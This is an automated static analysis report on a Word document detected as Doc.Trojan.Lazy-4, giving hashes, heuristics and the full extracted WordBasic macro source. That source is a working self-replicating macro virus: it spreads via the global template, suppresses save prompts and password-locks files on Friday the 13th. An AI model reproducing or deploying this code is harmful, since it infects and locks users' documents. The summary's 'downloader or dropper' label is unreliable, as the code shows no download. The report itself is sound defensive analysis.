Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 01b6707170d64825…

MALICIOUS

Office (OLE)

29.5 KB Created: 1997-04-11 21:54:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: fc17e82bdfe785f0efed976dcc90f8d2 SHA-1: 332beb98e1d355a376e1bf13582e58078b6fad8f SHA-256: 01b6707170d64825de767d14a0932201b809048c694de97141fea238585bb9c0
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains legacy WordBasic macros, specifically an AutoOpen macro, which is a strong indicator of malicious intent. The script attempts to enable auto-macros, copy existing macros, and execute a 'Lazy.Payload' function. This payload function includes logic to save the file with a password on specific days, suggesting an attempt to obfuscate or protect a malicious payload. The presence of legacy macro execution and potential payload delivery points to a macro-based downloader or dropper.

Heuristics 4

  • ClamAV: Doc.Trojan.Lazy-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Lazy-4
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1667 bytes
SHA-256: 38de09347b0b6a07f3057d53d4a60cbb47cf3bbe9cc83712538ca60f629054f3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
On Error Resume Next

WordBasic.Call "Lazy.EnableAutoMacros"

WordBasic.Call "Lazy.CopyMacros", "Global:AutoOpen", WordBasic.[FileName$]() + ":AutoOpen"
WordBasic.Call "Lazy.CopyMacros", "Global:Lazy", WordBasic.[FileName$]() + ":Lazy"
WordBasic.Call "Lazy.SaveFile", 1

WordBasic.Call "Lazy.CopyMacros", WordBasic.[FileName$]() + ":AutoOpen", "Global:AutoOpen"
WordBasic.Call "Lazy.CopyMacros", WordBasic.[FileName$]() + ":Lazy", "Global:Lazy"
WordBasic.Call "Lazy.DisableGlobalPrompt"

WordBasic.Call "Lazy.Payload"

End Sub

Attribute VB_Name = "Lazy"

Public Sub MAIN()
'REM Lazy!
End Sub

Private Function CopyMacros(From$, To_$)
On Error Resume Next
WordBasic.MacroCopy From$, To_$
End Function

Private Function DisableGlobalPrompt()
On Error Resume Next
WordBasic.ToolsOptionsSave GlobalDotPrompt:=0
End Function

Private Function EnableAutoMacros()
On Error Resume Next
WordBasic.DisableAutoMacros 0
End Function

Private Function SaveFile(Format_)
On Error Resume Next
WordBasic.FileSaveAs Format:=Format_
End Function

Private Function Payload()
Dim Password$
On Error Resume Next

If WordBasic.WeekDay(WordBasic.Now()) = 6 And WordBasic.Day(WordBasic.Now()) = 13 Then
Password$ = Chr(76) + Chr(97) + Chr(122) + Chr(121)
WordBasic.FileSaveAs Password:=Password$
End If

End Function